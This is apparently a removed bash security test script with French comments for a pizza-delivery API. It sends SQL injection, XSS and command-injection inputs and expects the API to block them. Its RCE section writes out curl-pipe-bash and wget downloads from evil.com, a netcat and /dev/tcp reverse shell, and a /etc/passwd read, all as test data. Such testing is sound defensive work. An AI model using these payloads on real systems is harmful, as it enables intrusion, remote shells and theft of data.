"${PURPLE}📄 Response:${NC} $1" -} - -# Fonction pour effectuer une requête HTTP avec token client -http_test_client() { - local method=$1 - local endpoint=$2 - local data=$3 - local expected_code=$4 - local description=$5 - local extra_headers=$6 - - print_test "$description" - - if [ -z "$data" ]; then - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Authorization: Bearer $CLIENT_TOKEN" \ - -H "Content-Type: application/json" \ - $extra_headers \ - "${API_BASE_URL}${endpoint}" 2>&1) - else - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Authorization: Bearer $CLIENT_TOKEN" \ - -H "Content-Type: application/json" \ - $extra_headers \ - -d "$data" \ - "${API_BASE_URL}${endpoint}" 2>&1) - fi - - http_code=$(echo "$response" | tail -n1) - body=$(echo "$response" | sed '$d') - - if [ "$http_code" -eq "$expected_code" ]; then - print_success "$description (HTTP $http_code)" - else - print_fail "$description - Expected: $expected_code, Got: $http_code" - print_response "$body" - echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" - echo "Response: $body" >> "$LOG_FILE" - fi - - sleep 0.5 -} - -# Fonction pour effectuer une requête HTTP avec token admin -http_test_admin() { - local method=$1 - local endpoint=$2 - local data=$3 - local expected_code=$4 - local description=$5 - local extra_headers=$6 - - print_test "$description" - - if [ -z "$data" ]; then - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Authorization: Bearer $ADMIN_TOKEN" \ - -H "Content-Type: application/json" \ - $extra_headers \ - "${API_BASE_URL}${endpoint}" 2>&1) - else - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Authorization: Bearer $ADMIN_TOKEN" \ - -H "Content-Type: application/json" \ - $extra_headers \ - -d "$data" \ - "${API_BASE_URL}${endpoint}" 2>&1) - fi - - http_code=$(echo "$response" | tail -n1) - body=$(echo "$response" | sed '$d') - - if [ "$http_code" -eq "$expected_code" ]; then - print_success "$description (HTTP $http_code)" - echo "$body" - else - print_fail "$description - Expected: $expected_code, Got: $http_code" - print_response "$body" - echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" - echo "Response: $body" >> "$LOG_FILE" - fi - - sleep 0.5 -} - -# Fonction pour effectuer une requête HTTP sans authentification -http_test_no_auth() { - local method=$1 - local endpoint=$2 - local data=$3 - local expected_code=$4 - local description=$5 - - print_test "$description" - - if [ -z "$data" ]; then - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Content-Type: application/json" \ - "${API_BASE_URL}${endpoint}" 2>&1) - else - response=$(curl -s -w "\n%{http_code}" -X "$method" \ - -H "Content-Type: application/json" \ - -d "$data" \ - "${API_BASE_URL}${endpoint}" 2>&1) - fi - - http_code=$(echo "$response" | tail -n1) - body=$(echo "$response" | sed '$d') - - if [ "$http_code" -eq "$expected_code" ]; then - print_success "$description (HTTP $http_code)" - else - print_fail "$description - Expected: $expected_code, Got: $http_code" - print_response "$body" - echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" - echo "Response: $body" >> "$LOG_FILE" - fi - - sleep 0.5 -} - -# ============================================================================= -# Authentification -# ============================================================================= - -authenticate() { - print_header "AUTHENTIFICATION" - - # ==================== CLIENT LOGIN ==================== - print_section "1. Login Client" - response=$(curl -s -w "\n%{http_code}" -X POST \ - -H "Content-Type: application/json" \ - -d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \ - "${API_BASE_URL}/api/v1/auth/login") - - http_code=$(echo "$response" | tail -n1) - body=$(echo "$response" | sed '$d') - - if [ "$http_code" -eq 200 ]; then - CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) - if [ -n "$CLIENT_TOKEN" ]; then - print_success "Login Client réussi - Token obtenu" - print_info "Token Client: ${CLIENT_TOKEN:0:50}..." - else - print_fail "Login Client réussi mais token non trouvé" - print_response "$body" - exit 1 - fi - else - print_fail "Échec du login Client (HTTP $http_code)" - print_response "$body" - exit 1 - fi - - # ==================== ADMIN LOGIN ==================== - print_section "2. Login Admin" - response=$(curl -s -w "\n%{http_code}" -X POST \ - -H "Content-Type: application/json" \ - -d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \ - "${API_BASE_URL}/api/v2/admin/auth/login") - - http_code=$(echo "$response" | tail -n1) - body=$(echo "$response" | sed '$d') - - if [ "$http_code" -eq 200 ]; then - ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) - if [ -n "$ADMIN_TOKEN" ]; then - print_success "Login Admin réussi - Token obtenu" - print_info "Token Admin: ${ADMIN_TOKEN:0:50}..." - else - print_fail "Login Admin réussi mais token non trouvé" - print_response "$body" - exit 1 - fi - else - print_fail "Échec du login Admin (HTTP $http_code)" - print_response "$body" - exit 1 - fi -} - -# ============================================================================= -# Tests SQL Injection -# ============================================================================= - -test_sql_injection() { - print_header "TESTS SQL INJECTION" - - print_section "1. SQL Injection - Login" - - # Test 1: SQL Injection classique dans login client - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ - 403 "SQLi - Login Client OR 1=1" - - # Test 2: SQL Injection dans login admin - http_test_no_auth "POST" "/api/v2/admin/auth/login" \ - '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ - 403 "SQLi - Login Admin OR 1=1" - - # Test 3: SQL Injection avec UNION - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \ - 403 "SQLi - UNION SELECT" - - # Test 4: SQL Injection avec DROP TABLE - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \ - 403 "SQLi - DROP TABLE" - - # Test 5: SQL Injection avec commentaire - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\''--","password":"test"}' \ - 403 "SQLi - Commentaire SQL --" - - print_section "2. SQL Injection - Panier" - - # Test 6: SQL Injection dans name_product - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \ - 403 "SQLi - Panier name_product" - - # Test 7: SQL Injection dans category - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \ - 403 "SQLi - Panier category" - - print_section "3. SQL Injection - Admin" - - # Test 8: SQL Injection dans username pénalité - http_test_admin "POST" "/api/v2/admin/protected/penalty" \ - "{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \ - 403 "SQLi - Username pénalité" - - # Test 9: SQL Injection dans paramètres commandes - http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \ - "" \ - 403 "SQLi - Paramètres commandes" - - # Test 10: SQL Injection dans ID commande - http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \ - "" \ - 403 "SQLi - ID commande" - - # Test 11: SQL Injection dans username livreur - http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \ - "" \ - 403 "SQLi - Username livreur" - - print_section "4. SQL Injection - Commandes Client" - - # Test 12: SQL Injection dans adresse checkout - http_test_client "POST" "/api/v1/checkout" \ - '{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \ - 403 "SQLi - Adresse checkout" - - # Test 13: SQL Injection nom produit admin - http_test_admin "POST" "/api/v2/admin/protected/products" \ - '{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \ - 403 "SQLi - Nom produit admin" - - print_section "5. SQL Injection - Variantes avancées" - - # Test 14: SQL Injection avec AND - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \ - 403 "SQLi - AND condition" - - # Test 15: SQL Injection avec encodage hex - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \ - 403 "SQLi - Encodage hex" - - # Test 16: SQL Injection avec SLEEP (Time-based) - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \ - 403 "SQLi - Time-based SLEEP" - - # Test 17: SQL Injection avec BENCHMARK - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \ - 403 "SQLi - BENCHMARK" - - # Test 18: SQL Injection avec sous-requête - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \ - 403 "SQLi - Sous-requête" -} - -# ============================================================================= -# Tests XSS (Cross-Site Scripting) -# ============================================================================= - -test_xss() { - print_header "TESTS XSS (CROSS-SITE SCRIPTING)" - - print_section "1. XSS - Login" - - # Test 1: XSS basique avec script tag - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - Script tag basique" - - # Test 2: XSS avec event handler - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - Event handler onerror" - - # Test 3: XSS avec SVG - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - SVG onload" - - print_section "2. XSS - Panier" - - # Test 4: XSS dans name_product - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"","category":"pizza","quantity":1}' \ - 403 "XSS - Panier name_product" - - # Test 5: XSS dans category - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"Pizza","category":"","quantity":1}' \ - 403 "XSS - Panier category" - - print_section "3. XSS - Admin" - - # Test 6: XSS dans raison pénalité - http_test_admin "POST" "/api/v2/admin/protected/penalty" \ - "{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"\"}" \ - 400 "XSS - Raison pénalité" - - # Test 7: XSS dans paramètres commandes - http_test_admin "GET" "/api/v2/admin/protected/orders?username=" \ - "" \ - 403 "XSS - Paramètres commandes" - - # Test 8: XSS dans description produit - http_test_admin "POST" "/api/v2/admin/protected/products" \ - '{"nom":"Pizza","category":"pizza","description":"","stock":10,"prix":12.99}' \ - 403 "XSS - Description produit" - - print_section "4. XSS - Commandes Client" - - # Test 9: XSS dans adresse checkout - http_test_client "POST" "/api/v1/checkout" \ - '{"delivery_address":""}' \ - 403 "XSS - Adresse checkout" - - # Test 10: XSS dans commentaire approbation - http_test_client "POST" "/api/v1/commands/1/approve" \ - '{"rating":5,"comment":""}' \ - 403 "XSS - Commentaire approbation" - - # Test 11: XSS dans raison annulation - http_test_client "POST" "/api/v1/commands/1/cancel" \ - '{"reason":""}' \ - 403 "XSS - Raison annulation" - - print_section "5. XSS - Variantes avancées" - - # Test 12: XSS avec iframe - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - body onload" - - # Test 14: XSS avec input autofocus - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - input autofocus" - - # Test 15: XSS avec marquee - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"","password":"test"}' \ - 403 "XSS - marquee onstart" - - # Test 16: XSS avec details/summary - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"
","password":"test"}' \ - 403 "XSS - details ontoggle" - - # Test 17: XSS avec javascript: protocol - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"click","password":"test"}' \ - 403 "XSS - javascript protocol" - - # Test 18: XSS avec data: URI - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"alert(1)>click","password":"test"}' \ - 403 "XSS - data URI" - - # Test 19: XSS encodé HTML - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"<script>alert(1)</script>","password":"test"}' \ - 403 "XSS - Encodage HTML entities" - - # Test 20: XSS avec polyglotte - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \ - 403 "XSS - Polyglotte" -} - -# ============================================================================= -# Tests RCE (Remote Code Execution) -# ============================================================================= - -test_rce() { - print_header "TESTS RCE (REMOTE CODE EXECUTION)" - - print_section "1. RCE - Command Injection basique" - - # Test 1: Command substitution avec $() - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(whoami)","category":"pizza","quantity":1}' \ - 403 "RCE - Command substitution" - - # Test 2: Command substitution avec backticks - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"`whoami`","category":"pizza","quantity":1}' \ - 403 "RCE - Command substitution backticks" - - # Test 3: Pipe command - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"test|whoami","category":"pizza","quantity":1}' \ - 403 "RCE - Pipe command" - - # Test 4: Semicolon command chaining - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"test;whoami","category":"pizza","quantity":1}' \ - 403 "RCE - Semicolon chaining" - - # Test 5: AND command chaining - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"test&&whoami","category":"pizza","quantity":1}' \ - 403 "RCE - AND chaining" - - # Test 6: OR command chaining - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"test||whoami","category":"pizza","quantity":1}' \ - 403 "RCE - OR chaining" - - print_section "2. RCE - Commandes système dangereuses" - - # Test 7: cat /etc/passwd - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \ - 403 "RCE - cat /etc/passwd" - - # Test 8: ls command - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \ - 403 "RCE - ls command" - - # Test 9: wget command - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \ - 403 "RCE - wget download" - - # Test 10: curl command - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \ - 403 "RCE - curl pipe bash" - - # Test 11: nc (netcat) reverse shell - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \ - 403 "RCE - netcat reverse shell" - - # Test 12: bash reverse shell - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \ - 403 "RCE - bash reverse shell" - - print_section "3. RCE - Dans autres endpoints" - - # Test 13: RCE dans adresse checkout - http_test_client "POST" "/api/v1/checkout" \ - '{"delivery_address":"$(whoami)"}' \ - 403 "RCE - Adresse checkout" - - # Test 14: RCE dans login - http_test_no_auth "POST" "/api/v1/auth/login" \ - '{"username":"$(id)","password":"test"}' \ - 403 "RCE - Login username" - - # Test 15: RCE dans commentaire - http_test_client "POST" "/api/v1/commands/1/approve" \ - '{"rating":5,"comment":"$(uname -a)"}' \ - 403 "RCE - Commentaire approbation" - - # Test 16: RCE dans raison annulation - http_test_client "POST" "/api/v1/commands/1/cancel" \ - '{"reason":"$(pwd)"}' \ - 403 "RCE - Raison annulation" - - print_section "4. RCE - Python/Perl/Ruby injection" - - # Test 17: Python code execution - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \ - 403 "RCE - Python import os" - - # Test 18: eval() injection - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \ - 403 "RCE - eval injection" - - # Test 19: exec() injection - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \ - 403 "RCE - exec injection" - - # Test 20: system() call - http_test_client "POST" "/api/v1/panier/add" \ - '{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \ - 403 "RCE - system call" -} - -main() { - # Exécution des tests - authenticate - test_rce - test_xss - test_sql_injection - http_test_no_auth -} - -main